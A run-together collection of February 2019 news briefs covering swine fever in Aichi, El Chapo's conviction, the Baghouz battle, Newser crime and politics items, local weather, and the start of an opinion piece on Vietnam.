Aichi officials announced on Wednesday that hogs on a farm in Tahara City tested positive for the disease. They were testing the animals after the farmer reported the day before that some piglets had died.

The prefecture says it will cull about 1,200 hogs on the farm in an attempt to contain the outbreak. It also plans to ban other farms within a 10-kilometer radius from shipping or moving their pigs.

Aichi Governor Hideaki Omura urged officials in a meeting to take all possible measures to deal with the emergency.

The latest case follows outbreaks of swine fever at two other farms in the prefecture. Aichi officials have already completed the task of culling the pigs and disinfecting the farms.

One of the farms in the earlier outbreak shipped pigs on January 30 to a meat processing plant in Toyohasi City. On the same day, the farm hit by the latest outbreak also shipped pigs to the same meat processing plant. It remains unclear if there is any connection between the two cases.

Swine fever has also spread to facilities in four other prefectures. Pigs from one of the infected farms were shipped to the facilities. - NHKMexican mobster Joaquin El Chapo Guzman was found guilty Tuesday by a New York jury of crimes spanning a quarter of a century as head of one of the worlds most powerful drugs gangs. The 61-year-old former head of the Sinaloa cartel -- famed for his brazen escapes from Mexican prisons -- faces a possible life sentence after being convicted of smuggling tons of cocaine, heroin, methamphetamine and marijuana into the United States.

He was also found guilty of money laundering and illegal weapons possession charges. In a three-month trial that unfolded like a real-life telenovela, Guzmans former beauty queen wife and a parade of his lovers and henchmen took the witness stand under the gaze of the onetime drugs kingpin.

Guzmans lawyer Jeffrey Lichtman asked the jury not to convict on the basis of the garbage testimony of government witnesses. Lichtman contended that Guzman was merely a scapegoat, and that the real culprit in the drug trafficking operations was Ismael El Mayo Zambada, the co-founder of the Sinaloa cartel.US-backed forces pressed the battle to expel diehard jihadists from the last pocket of land under their control in eastern Syria yesterday after hundreds fled the holdout overnight. Outside the Baghouz pocket, the plains were littered with empty pistachio-coloured rocket shells, water bottles, clothes left behind, and rotting dog carcasses. The extremist group declared a cross-border caliphate in Syria and Iraq in 2014, but various military campaigns have chipped it down to a fragment on the Iraqi border.

After a pause of more than a week to allow out civilians, the Syrian Democratic Forces (SDF) declared a last push to retake the pocket from the extremists on Saturday. Aided by the warplanes and artillery of a US-led coalition, the Kurdish-led alliance has pressed into a patch of four square kilometres (one square mile). SDF spokesman Mostefa Bali said heavy clashes were underway on Tuesday, after hundreds fled the battle zone during the night.

A group of 600 civilians escaped from Baghouz at one in the morning and they are being searched now, he said. The Syrian Observatory for Human Rights said the new arrivals included women and children from France and Germany. Most of those who got out are foreigners, Observatory chief Rami Abdel Rahman said. Coalition spokesperson Sean Ryan said US-backed forces were facing a fierce fightback. The progress is slow and methodical as the enemy is fully entrenched and IS fighters continue to conduct counter attacks, he said.

The coalition continues to strike at IS targets whenever available. In the past two months, more than 37,000 people, mostly wives and children of jihadist fighters, have fled into SDF-held areas, the Observatory says. At a gathering point for new arrivals, dozens of men knelt on the ground. Iraqi and Syrian women and children prepared to make the long journey north to a Kurdish-held camp for the displaced, after spending the night in tents.

A very thin child with dark circles around his eyes stumbled onto a truck, as other children screamed out for water and their mothers asked how long the drive would take. Six hours? In the cold? shouted a wrinkled Iraqi woman. Bali, the SDF spokesman, said on Saturday that up to 600 jihadists could still be left inside the pocket.JP Morgan Chase has honored Ahli United Bank with its Elite Quality Recognition Award 2018, citing the Banks high-quality performance of clients funds' transfer operations.

This is the 14th consecutive year AUB has won this award in its Elite class from this global financial institution. Established in 1997, JP Morgan Quality Recognition Awards are conferred on select US dollar clearing institutions which meet stringent criteria for straight-through processing (STP) of international payment and settlement transactions. STP is the ability for a transaction to be completed fully electronically without manual intervention.

For 2018, less than one percent of JP Morgans funds transfer clients were able to meet the criteria for the standard Quality Recognition Award class and fewer still qualified for the more stringent Elite rank. AUB has won the Elite award in both categories of transactions, having achieved most outstanding straight through processing (STP) rates of 99.75 percent and 99.87pc for the MT103 and MT202 categories of transactions respectively.Unconventional schooling models including classrooms with no teachers or walls are defying the conventions of education, the World Government Summit was told yesterday.

A Bali school founded by Canadian entrepreneurs John and Cynthia Hardy are conducting lessons in classrooms made entirely of bamboo, utilizing the impact of nature and environment in the students education. Green School is like no other. It has no walls, and the children are happy.

This provides an incredible environment for growth, John Hardy said, adding how giving children freedom from boundaries teaches them to solve problems and think critically in ways we had never imagined possible. Another school with an unconventional model is Ecole 42 in Paris, where students work in a building with no supervision.Turkish authorities detained 729 people in nationwide raids yesterday over alleged links to a group blamed for a failed coup in 2016, the Ankara public prosecutors office said. Officials had sent to authorities in 75 provinces the names of 1,112 people under investigation over suspected ties to USbased preacher Fethullah Gulen and his movement, it said. Gulen is accused of ordering the attempted putsch, a claim he strongly denies.

Forty-five of those arrested were in the capital Ankara, a judicial source, who did not wish to be named, told AFP. We do not know whether the provincial authorities detained or summoned all of the individuals whose names were given, the source added. The Ankara public prosecutors office, which leads the coup investigation, said 130 people on the list of suspects were deputy police chiefs still on active duty. They are suspected of having obtained questions before sitting the 2010 exam to become inspectors, it added in a statement.Fairbanks, AK (99707)

Today

Sunshine and clouds mixed. High around 80F. Winds SSE at 10 to 15 mph..

Tonight

Cloudy skies with a few showers after midnight. Low near 55F. Winds SW at 10 to 15 mph. Chance of rain 30%.South Africa: Creative industry gears up for elective conference

The Cultural and Creative Industries Federation of South Africa (CCIFSA) will hold its National Elective Conference in March.

The conference has been scheduled for 28 March and 29 March.

At the national conference, elected leadership of CCIFSA is expected to present various reports not limited to the state of the industry, work and organisational matters of CCIFSA since 2015 and the financial status of the organisation.

Most importantly, the national conference has to adopt the Memorandum of Incorporation (MOI), which will serve as the constitution of the organisation and thereafter elect the new leadership, Ministry of Arts and Culture Chief of Staff Sibongile Besani said.

He was addressing a media briefing on the upcoming conference on Wednesday in Johannesburg. This was held in partnership with CCIFSA and the Creative Industry Task Team (CITT).

Besani said the national conference should be preceded by both the District General Meetings (DGMs) and Provincial Summits, respectively.

The DGMs should be convened in all provinces and should be open to all artists.

The focus of the DGMs should be to deal with draft MOI and election of delegates to Provincial Summits. The Provincial Summits must also focus on the draft MOI and the election of delegates, he said.

The Provincial Summits will be convened on the weeks of the 4th, 11th and 18th March 2019.

The availability of resources will inform the total number of delegates at both the provincial summit and the national conference. Such approach should be in line with the principle of inclusivity, he said.

There are nine sectors that have been identified in order to determine the delegates from the summits and the national conference.

The CCIFSA National General Council members elected in 2015 will be delegates to the national conference with full status.

The national conference will adopt the MOI and focus on the reports that will be presented by CCIFSA. The election of the new leadership CCIFSA will be based on the adopted MOI.

Attendees to all stipulated meetings are required to apply and fill a form. The final date for these forms is the 21st February 2019. This will allow for timeous preparations of the meetings, Besani said.

He said no late applications will be allowed.

Individual artists must make applications to attend the all meetings to and therefore vetting will be considered for this process. Artists can only participate in one sector for purposes of this conference, Besani said.  SAnews.gov.za

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.(Newser)  The ex-boyfriend accused of killing Valerie Reyes and stuffing her body in a suitcase was in the US illegally, authorities say. US Immigration and Customs Enforcement said in a statement Wednesday, per Greenwich Time, "Javier Enrique Da Silva Rojas, a citizen of Portugal, entered the US May 8, 2017, through the Visa Waiver Program; however, he failed to leave the United States within the required timeframe." Da Silva, who also has a Venezuelan passport, was supposed to leave the US later in 2017, the AP reports. The 24-year-old faces charges of kidnapping resulting in a death, the Hartford Courant reports.

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Reyes, who lived in New York, was found dead in Connecticut Feb. 5. She had reportedly broken up with Da Silva shortly before she went missing. Court documents cited by CNN say that he told authorities he put Reyes inside the suitcase and dumped her body after she fell and hit her head while the two had sex at her apartment. He reportedly told authorities he first put tape over her mouth and bound her hands and feet before putting her in the suitcase; she was found barefoot, her shirt unbuttoned. Reyes' cause of death has not yet been released, but the documents quote an FBI as saying "there were obvious signs of head trauma, including bruising around the face and a large hematoma to (Reyes') forehead," per LoHud.com. (Days before her death, Reyes made a chilling prediction.)(Newser)  Bill Cosby's name grabbed headlines Tuesday after rep Andrew Wyatt said in an interview with NBC 10 that the 81-year-old told him he was having an "amazing" prison experience. More headlines came on Wednesday, this time thanks to words that came straight from Cosby. NBC News reports it was his first statement since entering Pennsylvania's SCI Phoenix four months ago, and it begins by explaining he heard about the NBC 10 interview from fellow inmates. He says he has no remorse and never will. "I was given a deal; I settled out of court for $3.8 million dollars [sic]; I waived my 5th amendment rights; I was declared Not Guilty in 2005 by the Commonwealth - never charged. However, a low-life District Attorney and a corrupt Judge needed me Guilty now. Not for justice, but for their political aspirations."

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He continues, per NBC 10 "My political beliefs, my actions of trying to humanize all races, genders, and religions landed me in this place surrounded by barb wire fencing, a room made of steel and iron. So, I now have a temporary residence that resembles the quarters of some of the Greatest Political PrisonersMartin Luther King, Jr., Mahatma Gandhi, Nelson Mandela, Randal Robinson and Dr. Benjamin Chavis. I stand upright as a Political Prisoner and I Smile. The Truth is Strong!" Wyatt, who released the statement, told NBC News Cosby is not sad but in "amazing spirits." (Read more on what Cosby's day-to-day is like in prison.)(Newser)  The man who led President Trump's inaugural committee said America is in no moral position to criticize Saudi Arabia over the killing of Saudi columnist Jamal Khashoggi, the AP reports. "Whatever happened in Saudi Arabia, the atrocities in America are equal, or worse," Tom Barrack, a real estate developer, said Tuesday at the Milken Institute MENA Summit in Abu Dhabi, United Arab Emirates. His remarks were reported by Dubai's daily English newspaper, Gulf News. The report said Barrack strongly defended Saudi Arabia, saying the kingdom is misunderstood by the West. Despite international outrage, Trump decided not to impose harsher penalties on Saudi Crown Prince Mohammed bin Salman over the October death and dismemberment of the Washington Post columnist, who lived in Virginia and had written articles critical of the kingdom, inside the Saudi Consulate in Istanbul, Turkey.

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Critics in Congress and high-ranking officials in other countries accused Trump of ignoring human rights and giving Saudi Arabia a pass for economic reasons, including its influence on the world oil market. Barrack, a private equity investor whom the Washington Post describes as a developer with close ties to the Middle East, expressed support for the crown prince, who is pursing reforms in the kingdom. He said Western countries don't understand the internal dynamics of Saudi Arabia. "The West is confused, it doesn't understand the rule of law in the kingdom, it doesn't understand what succession in the kingdom is, it doesn't understand how there can be a dilemma with a population that has 60% of people under the age of 20," Barrack said, according to Gulf News. He later added, "The corrupt hand of the West has been the primary instigator in the kingdom, and in the resource curse across the region forever."

(Read more Jamal Khashoggi stories.)(Newser)  "It is a sad day for America when one of its citizens betrays our country," said the head of the Justice Department's national security division, on what is apparently such a day. A former Air Force counterintelligence specialist who defected to Iran has been charged with revealing to Iranian government officials classified defense info that could cause "serious damage," officials said Wednesday. Monica Elfriede Witt, 39, served in the Air Force from 1997 to 2008 and then worked on classified government projects for two years after that, reports the Washington Post. The New York Times reports she was privy to the real names of both intelligence assets and the US officials who helped recruit them.

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She defected in 2013 and is currently at large, and prosecutors allege she handed over the code name and mission of a secret Defense Department program. The Justice Department indictment also accuses her of helping Iran go after her former colleagues via hacking and identity theft attempts, reports the AP. Jay Tabb, the FBI's chief national security official, said that after she attended a conference in Iran, the FBI in 2012 warned her that she was a vulnerable target for recruitment by Iranian intelligence; she brushed off their concern. He said it's thought she was "idelogical[ly]" driven, and the indictment notes that she "made statements that were critical of the US government" prior to her defection. A warrant has been issued for her arrest, reports CNBC. Four Iranian nationals who remain at large are also charged in the indictment. (A Russian spy's US boyfriend was recently hit with charges.)(Newser)  It's the billion-dollar-and-change question: Will President Trump sign a tentative bipartisan border deal that would allocate $1.38 billion for border fencing (he has maintained he needs $5.7 billion) and avoid a second government shutdown at midnight Friday? USA Today reports the House has scheduled a vote for Thursday, and the president on Wednesday said he'll look for "land mines" in the bill before making his decision, per Reuters. A sampling of what is being predicted and hoped for:

The AP: "Under mounting pressure from his own party, President Donald Trump appears to be grudgingly leaning toward accepting [the] agreement."

New York Times: It sees a Tuesday night tweet as "signal[ing] acceptance" of the deal. Trump wrote, "Was just presented the concept and parameters of the Border Security Deal by hard working Senator Richard Shelby. Looking over all aspects knowing that this will be hooked up with lots of money from other sources...."

CNN: Two sources tell it Trump will sign the deal.

Wall Street Journal: Its sources also say Trump will sign, "unless there are any late additions."

Sarah Sanders: Politico described her as "noncommittal" on Wednesday. "The president wants to see what final package looks like and hell make a decision at that point."

USA Today: "President Donald Trump sent signals he is willing to sign the deal while seeking other sources of money for his border wall."

Mitch McConnell: "I hope he signs the bill."

Wall Street Journal editorial board: "He could refuse to sign it and endure the political damage from another government shutdown. But he'd do better by himself, his party and the country by following the advice that Senator George Aiken famously offered during the Vietnam War: Declare victory and get out."

How else might Trump fund the wall? CNN looks at four ways he could access money, and whether he'd need to declare a national emergency to do so, here . (Trump said Tuesday he wasn't "thrilled" with the deal .)(Newser)  Investigators have been unable to determine why the gunman who murdered two women at a Tallahassee yoga studio in November chose that locale, but they say his hatred of women was no secret. Scott Beierle, 40, wrote about that hatred as well as rape, torture, and murder, in his journals, and had a history of misconduct toward females dating back to grade school, Tallahassee Police Chief Michael DeLeo said Tuesday as the department released its final reports, per the Tallahassee Democrat. Beierle's online remarks were also troubling; the wife of a childhood friend notified the FBI about "violent lyrics about murder and stalking" on the amateur musician's website in August. DeLeo called the tip "non-actionable." And yet, investigators working in the aftermath found Beierle had planned the Nov. 2 shooting for months. He called the studio and searched for a map of its building in August, per CNN.

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His 9mm handgun was bought in July, a month after Beierle was fired from a teaching job for inappropriately touching a female student. He was fired from another teaching job in 2015 for watching porn, and arrested twice in 2012 for groping women at Florida State University, per the Orlando Sentinel. "Although there was no specific target at the yoga studio . [his] lifetime of misogynistic attitudes caused him to attack a familiar community," DeLeo said. Beierle arrived early for the 5:30pm class. Inside the room, he put on earmuffs and pulled out a handgun, fatally shooting FSU student Maura Binkley, 21, and faculty member Dr. Nancy Van Vessem, 61, in the back. Beierle wounded five others, and ultimately shot himself after a confrontation with patron Joshua Quick. Noting he carried more than 100 rounds of ammunition, DeLeo concluded "this could have been even worse than it was." (Read more yoga shooting stories.)(Newser)  Authorities are still trying to connect Samuel Little, who has been convicted of killing three women but has admitted to killing 90, to cold cases across the country. Now the 78-year-old has started drawing sketches of his victims for authorities, NBC News reports. The FBI has released 16 sketches by Little, most of which show women; one has been identified as a man who went by "Mary Ann" or "Marianne" and was killed in Miami. The FBI has so far managed to confirm (or match to open cases) 42 of Little's confessions but is still working on the rest; authorities are looking at unsolved deaths between 1970 and 2005 in more than a dozen states and are hoping someone will recognize the people shown in the sketches. The FBI says Little's drawings "have proven quite accurate," per CNN; two others released in the past resulted in identifications.

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"Little chose to kill marginalized and vulnerable women who were often involved in prostitution and addicted to drugs. Their bodies sometimes went unidentified and their deaths uninvestigated," the FBI has previously said, noting that it also wasn't always obvious the victims were murdered because Little, a former boxer, usually knocked them unconscious first. Little has also struggled to provide dates to authorities, though he can offer detailed descriptions of the victims, where and how they were killed, and even what car he was driving at the time. One investigator has said he has "photographic memory" of the killings. The newly released sketches are each marked with a possible year and city in which the murder was carried out, USA Today reports. (Little made his astonishing confessions because he wanted to switch prisons.)(Newser)  Virginia isn't the only state where a lawmaker is being called upon to resign. There's a brouhaha within West Virginia's House of Delegates over anti-LGBT comments Republican Eric Porterfield has repeatedly made over the last week. CNN reports things started last Wednesday during a hearing about an ultimately unsuccessful amendment to an anti-LGBT-discrimination bill; it would have permitted cities to allow the discrimination of LGBT people. "The LGBT is the most socialist group in this country," Porterfield said. "They do not protect gays. There are many gays they persecute if they do not line up with their social ideology." On Friday, the West Virginia Democratic Party called for the 44-year-old's resignation. Instead, he phoned the Charleston Gazette-Mail and went all in.

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"The LGBTQ is a modern-day version of the Ku Klux Klan, without wearing hoods, with their antics of hate," the paper quoted him as saying. He also reportedly branded gays a "terrorist group." His third set of comments were more inscrutable: In an interview with WVVA, he was asked how he would respond if his young children ended up being gay. His answer: "Well, I will address my daughter first. I would take her for a pedicure, I'd take her to get her nails done, and see if she could swim. If it was my son, I would probably take him hunting, I would take him fishing, then I'd see if he could swim." In an extremely critical editorial, the Gazette saw it as a "reference to drowning his children if they were gay." On Monday, the West Virginia GOP expressed its own displeasure, denouncing his comments and calling them "unacceptable." (Read more West Virginia stories.)(Newser)  A high-profile journalist detained in the Philippines says President Rodrigo Duterte is trying to silence her. Maria Ressa, CEO of news site Rappler and a 2018 Time Person of the Year alongside Jamal Khashoggi, faces a cyber libel charge stemming from a 2012 article that linked a prominent businessman to a top judge during his impeachment trial, reports CNN. Rappler said she's "shocked that the rule of law has been broken to a point that I can't see it," after she was served an arrest warrant at Rappler's headquarters in Manila, reports the BBC. Reporters Without Borders labels her arrest "grotesque  judicial harassment." A reporter filming the scene said an officer "threatened that he will go after me if I don't stop recording" though "it's my job to put it on record."

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The National Bureau of Investigation initially declined to charge Ressa because the cyber libel law was enacted four months after the article was published. But the Justice Department overturned that decision on the basis that the article was updated in 2014. The charges follow tax evasion claims laid against Rappler and Ressa late last year, which critics denounced as politically motivated. Per CNN, the site's extensive coverage of Duterte's war on drugs has made its journalists a target. Duterte even banned them from covering his official activities, per the BBC, though his office denies any involvement in prosecutions. "You violate tax laws and then you'll be prosecuted," a rep said at a Monday press conference. If convicted, Ressa could face more than a decade in prison. (Read more Philippines stories.)(Newser)  At least in Big Love Bill Henrickson had all his wives in the same neighborhood. Michael Middleton of Maine, who was arrested for bigamy in Ohio last week, seemed to like to spread his spouses out over several states, with an indictment accusing him of having, at minimum, a wife in Alabama, one in Georgia, and one in New Hampshire, ABC News reports. The "Cupid of Chaos," as the Franklin County Sheriff's Office has dubbed him, is said to have married Alicia Grant in Dover, NH, in 2013but he was still allegedly wed to Alabama's Kassandra Shipley, as well as to Katherine Lashley of Georgia. And there may be even more wives in the mix: An NBC4 investigation found a fourth marriage license in Kentucky between Middleton and Ashley Climer, a 25-year-old developmentally disabled woman.

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"I know there are multiple wives, I know of at least four and possibly a fifth," a Franklin County Sheriff's spokesman tells NBC News. "It disgusts me," Climer tells NBC4, saying she met Middleton on Facebook. "I don't know how he could say he loved me, and just lie to my face for three years." Grant, who WMTW cites as the wife who filed the initial police report on Middleton, says he wheedled $20,000 out of her. "He makes you feel special," she says. "Then he marries you, abuses you, drains your assets, and leaves." Per the Atlanta Journal-Constitution, Franklin County authorities tweeted that Middleton was "tracked down" Friday. He's being held in Columbus for extradition to Maine, where he faces charges including assault, domestic violence, and driving under the influence. Grant speaks much more about their time together to Newsweek, noting she and the other wives are now all friends. (Read more bigamy stories.)(Newser)  Relatives of a 21-year-old rapper shot dead by police in Vallejo, Calif., on Saturday say he was sleeping. "We cannot fathom why they would have to shoot him. This was senseless," David Harrison, cousin of rapper Willie McCoy, tells the Guardian. Police say McCoy, known as Willie Bo of group FBG, had a handgun in his lap when he was found unresponsive in the driver's seat of a silver Mercedes that was locked but running in a Taco Bell drive-thru around 10:30pm. After backup arrived, officers said McCoy awoke and looked at them as they ordered him to keep his hands visible, per the San Francisco Chronicle. "Instead he quickly moved his hands downward for the firearm," a police statement reads, per the San Jose Mercury News. "Fearing for their safety," six officers, now on administrative leave, opened fire within four seconds.

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"We're never going to get over this  There was no attempt to try to work out a peaceful solution," McCoy's brother, Marc, tells the Guardian. "Police have a campaign of executing young black men who fit a certain profile," adds Harrison. "Willie dressed the part. He represents hip-hop music." With police claiming McCoy's semi-automatic handgun with an extended magazine was stolen from Oregon, per the Chronicle, the family has hired civil rights attorney John Burris. He filed an excessive force lawsuit last week on behalf of the family of Joshua Pawlik, a homeless man killed by Oakland police last March after he was found sleeping with a gun in his hand, per the Chronicle. "You have to account for the fact that the person is going to wake up and not know who's out there," Burris says. "There should be ways to handle this situation without immediately killing that person." (Read more police shooting stories.)(Newser)  Joaquin Guzman has a history of spectacular prison breaksbut this time, he's not going to be able to climb through an escape hatch in his shower and ride away on a motorbike. Experts say "El Chapo," who faces a mandatory life sentence after being found guilty of drug trafficking in federal court in New York, is almost certainly headed for the "Supermax" ADX Florence prison in Colorado, which has been nicknamed the "Alcatraz of the Rockies." "There's no question in my mind that Guzman will be going to the Supermax prison in Colorado," former warden Bob Hood tells NBC. The "escape-proof" facility was described as the most secure ever built in the US after it opened in 1994, and experts expect Guzman to be held in a control unit likened to a "Supermax inside Supermax."

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Many prisoners at ADX Florence spend 23 hours a day, including mealtimes, in 7-by-12-foot cells fitted with 4-inch windows, through which they cannot see the skyor determine exactly where they are in the facility, the AP reports. If he is sent there after sentencing in June, the 61-year-old Sinaloa cartel leader's fellow inmates will include Boston bomber Dzhokhar Tsarnaev, Aryan Nations prison gang leader Thomas Silverstein, and numerous terrorists connected to 9/11though he is unlikely to meet any of them. "Hes such a high-profile person that, in my opinion, hell never be allowed on the yard with other prisoners for the rest of his life," Hood says. (Guzman's trial was "an amazing open book.")(Newser)  It's too late for him to attend the Grammys, where he was nominated for two awards, but lawyers for Atlanta-based rapper 21 Savage say they have secured his release from immigration custody. The 26-year-old, whose real name is She'yaa Bin Abraham-Joseph, was arrested Feb. 3 and many fans were surprised to discover that he is a British citizen whose US visa expired in 2006. Law firm Kuck Baxter Immigration said in a Facebook post Tuesday a judge granted 21 Savage a release on bond and he would be freed from immigration detention Wednesday, the New York Times reports. Lawyer Dina LaPolt says her client was 12 when he was "left without legal status through no fault of his own" after his family overstayed their visa.

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Lawyer Charles Kuck says 21 Savagewho was shot six times on his 21st birthday in 2013applied for a "U" visa as a victim of crime in 2017, the BBC reports. Kuck says the rapper spoke "powerfully" about his life during a court appearance Tuesday. His next appearance will be April 11, the lawyer says. The rapper's cause has been taken up by fellow artists including Jay-Z, who calls the arrest an "absolute travesty," and Metro Boomin, who wore a "Free 21 Savage" coat during a Tonight Show appearance Monday, the Atlanta Journal-Constitution reports. Swedish producer Ludwig Goransson was among those who referenced 21 Savage at the Grammys. The rapper "should be here tonight," Goransson said after accepting an award for Childish Gambino's "This Is America." (Demi Lovato deleted her Twitter account after making fun of the arrest.)(Newser)  A female student from an Ohio State University campus and a man suspected of abducting her both died after a police chase and shooting, Kentucky State Police said Tuesday. The chase began Monday afternoon in northern Kentucky as police responded to a call about a person in distress, authorities said in a news release. Officers intervened when the vehicle exited a highway and stopped on a ramp in Oldham County, northeast of Louisville. Police said a trooper heard gunfire from the vehicle and returned fire. Both the woman and suspect were fatally shot, the AP reports. Authorities said the trooper killed the suspect, 24-year-old Ty'rell Pounds. It is unclear who shot the woman, 20-year-old Skylar Williams. Williams was a student at Ohio State's Mansfield campus. She and Pounds were both from Mansfield.

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The university's Department of Public Safety said in a news release that Williams was in a parking lot at the school shortly before noon Monday when she was approached by a male suspect known to her. The release said the man displayed a handgun, forced Williams into his vehicle, and fled with her. Kentucky police said a witness called 911, saying the person saw a distressed woman at a gas station being forced into a vehicle by a man. The caller said it appeared the woman was asking for help. "Our Ohio State community suffered a tragic loss with the death of Mansfield student Skylar Williams," Ohio State University President Michael V. Drake said in a statement. "This senseless and shocking incident has left our campus shaken." The Kentucky State Police Critical Incident Response Team is investigating. (The ex of the woman found dead in a suitcase has been arrested.)(Newser)  Actor Jussie Smollett on Tuesday dismissed any suggestion that he has been less than cooperative with police since the star of the Empire television drama reported he was attacked by two masked men in Chicago last month. Smollett's representatives issued a statement a day after police said the heavily redacted phone records he turned over to detectives this week were insufficient for a criminal investigation, the AP reports. "Jussie is the victim here, which has been stated by the Superintendent of Police," the statement says. "Jussie has voluntarily provided his phone records from within an hour of the attack and given multiple statements to police." The statement said Smollett had a good reason for turning over what police called a redacted file.

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"Any redacted information was intended to protect the privacy of personal contacts or high-profile individuals not relevant to the attack," according to the statement. The statement is the latest in a back-and-forth between Smollett and police since he reported the attack took place on Jan. 29. Chicago PD spokesperson Anthony Guglielmi said Smollett turned over some but not all of the phone records that detectives asked him for. Police have made no arrests and said they have found no surveillance video that shows the attack. They released video of two people in the area at the time who they said were persons of interest. Police have collected video surveillance footage from cameras in the downtown area and have also extended their search to stores in the area in the hopes of gathering evidence on who might have purchased the rope. (Here's what Smollett had to say at his first public appearance since the attack.)(Newser)  The family of a University of Vermont student who died in the snow after leaving a fraternity party alone wants to make sure no other student meets the same tragic fate. Connor Gage's parents have started the "Connor Gage Never Walk Alone Fund," with the aim of helping UVM educate students about the dangers of mixing alcohol and cold weatheramong other risks of walking aloneand arm them with tools to keep themselves safe, such as using the buddy system. Gage, 19, was found in the snow in a parking lot Feb. 2; he was apparently trying to take a shortcut in below-freezing temperatures when he died. An autopsy revealed that intoxication exacerbated the hypothermia that killed him.

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Thousands of people attended services for Gage over the weekend, and his parents asked for donations to the fund in lieu of flowers. They tell the Burlington Free Press they received a number of donations from mourners, and they've also started a GoFundMe campaign to raise more. "A lot of crimes happen to people, or even just accidents happen to people, when they're alone," Gage's mother says. "There's power in numbers." The family plans to eventually expand the program to other universities and high schools. But they told the Free Press last week they want Gage, a kind and altruistic teen who wanted to be a doctor, to be remembered for his life, not how he died: "One event doesn't define you," says his stepfather. (Another student died during January's polar vortex.)(Newser)  Whatever happened to Mars One Ventures, the company that planned to send 24 people on a one-way trip to the red planet? In a perhaps not shocking development, it went bankrupt. The Verge notes many had long suspected the whole thing was basically a scam, with the company having no firm plan for how to actually transport humans to Mars. The Swiss financial notices confirming the company's bankruptcy, which took effect Jan. 15, were first spotted by a Redditor, and the Dutch entrepreneur who started the company confirmed the news to Engadget. He says, however, that the Mars One Foundation, a nonprofit, is still in operation (though it lacks funds to actually do anything) and that just the for-profit arm, Mars One Ventures, has been dissolved.

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A since-deleted post to the Mars One website said Mars One Ventures is "currently working on a solution with an investor" and reiterated, "The bankruptcy only involves Mars One Ventures AG and does not affect the financial position of the Mars One Foundation, which is the driving force behind the mission. The Mars One Foundation is actively continuing its efforts to secure funding for mission next steps, either through the listed company or directly into the Foundation." Then, in a post on the website Tuesday, the company said a new investor would reveal its plans for the company on March 6. "For the execution of the actual voyage to Mars, the company will continue to seek strategic collaboration with renowned companies and organizations involved with the travel to Mars," the post says. "Mars One itself will focus on the even more inspiring 'being there,' the adventurous story of humans actually living on Mars, making The Red Planet their new home." (Oh, what could have been.)(Newser)  The residents of a small Canadian town say they've been plagued by a wretched smell for more than a decade. The CBC digs into the plight of St. Mary's in Newfoundland. It's home to 400 residents and the shuttered Atlantic Seafood Sauce Co. plant, which opened in 1990 and began making a fermented seafood sauce that's a Vietnamese food staple. It was reportedly housed in 150 tanks, each of which could hold 3,300 gallons of sauce. The plant's operations were halted after food inspectors allegedly found the sauce being made under unsanitary conditions in 2001. Though the company was acquitted years later, production never resumedbut the fishy liquid remained. Residents say the smell is unbearable. Deputy Mayor Steve Ryan has been inside once, and had this advice for would-be visitors: "Come in with a vehicle you dont want to drive no more."

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A clean-up effort that began in 2016 only made some headway before being stopped after some disposal issues. Ryan alleges the plant's drains were filled with cement. "The tanks are still leaking some liquid down, but now it's running on the floor, and it has nowhere to go," he says, describing pools of it up to four inches deep that have solidified. The Canadian Press notes the cleanup requires liquefying what has solidified and carting it out; Ryan puts the cost at $700,000, well beyond the town's means. They've again asked the province to handle it, and should know its decision in March. Ryan recounts talking to the owner of one clean-up company who came to evaluate the site. "He was taken aback a little bit by there's so much waste here and there's no rodents ... He said: 'Rodents know when something is toxic.'" (The smell of another popular sauce has been designated a "public nuisance.")(Newser)  Historian Anthony Pitch failed to pinpoint the killer or killers in his 2016 book on the 1946 lynching of two black couples in rural Georgia. He now hopes a federal appeals court ruling will point him in the right direction. The 11th US Circuit Court of Appeals ruled Monday that grand jury transcripts, usually kept secret, could be unsealed in the case. They relate to the July 25 killings of Roger and Dorothy Malcom and George and Mae Murray Dorsey, reports the AP. Victim Roger Malcolm, 24, had just been bailed out of jail, where he was held for stabbing a white man he suspected of sleeping with his wife, when a white mob of 20 to 25 people stopped the group on Moore's Ford Bridge in rural Walton County. The mob did not hurt the white driverwho happened to be a former KKK memberbut the two black couples were shot on the banks of the Apalachee River.

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The FBI identified numerous possible suspectsincluding relatives of the man Malcom had stabbedbut a grand jury opted not to indict anyone. In a dissenting opinion in the new ruling, Judge James Graham said he worried the transcripts would tarnish the reputations of innocent people, reports NJ.com. However, Judge Charles Wilson cited "exceptional circumstances" to overrule grand jury secrecy. "There is no indication that any witnesses, suspects, or their immediate family members are alive to be intimidated, persecuted, or arrested," he wrote in the majority opinion. "Perhaps now the truth of this unfortunate, gruesome act will be finally unearthed and displayed to the world," Pitch's lawyer tells the AP. "It's huge to me," Malcolm's granddaughter adds, per the Atlanta Journal Constitution. "I can't stop crying." (A suspect speaks here.)'Height Is Power,'

and So Statue

of Roosevelt

Will GoCouncilman refuses to resign; another censured Following the hearing of evidence and statements made by the involved parties, and after deliberation in executive session, the Washington City Council Ethics Committee officially asked Councilman Nathaniel Cullars to...

Cullars resigns employment but will still run in November Resulting at least in part from public outcry after the ethics complaint filed against him, Washington City Councilman Nathaniel Cullars has resigned his position with Stuckey Management. I was told...

Georgia will cut unemployment benefits to 278,000 starting Sat. Georgia is about to join 25 other mostly Republican-led states in cutting off supplemental federal unemployment benefits before the Biden administration ends the program in September. On June 26, the...Champaign, IL (61820)

Today

Scattered thunderstorms during the morning becoming more widespread this afternoon. High 81F. Winds S at 10 to 20 mph. Chance of rain 70%..

Tonight

Partly to mostly cloudy with a chance of thunderstorms. Low 71F. Winds S at 15 to 25 mph. Chance of rain 50%.Vietnam, to our generation, was about the Vietnamese struggle against the Americans, the epic of a small Third World country fighting the worlds superpower.

It was a globally inspiring scene. Although Americas Vietnam War began in the mid-1960s, the apex of its ferocity, of the heroic resistance of the Vietnamese people and of the atrocious massacres perpetrated by the Americans, came at a time when we, in the Arab world, were suffering the repercussions of the defeat in June 1967.

Vietnam was giving the Arabs lessons in steadfastness while it gave the US the idea that maybe it could succeed in the Middle East where it failed in Southeast Asia.

In one of her most forceful poems, the Palestinian poet Fadwa Tuqan prayed that a wind from the east would blow a million Vietnamese fighters towards the Arab desert to bless it with a million Qahtani young, referring to ancient warring tribes from the Arabian Peninsula.

It was a prayer for the Vietnamese struggle to reach Palestine. This was before the October 1973 War. Arab political thought at the time swung between sustaining the resistance and searching for a solution to a cause that defied solutions.

More than four decades have passed since then. Today, Vietnam, and its symbolic capital Hanoi, is once again headline news.

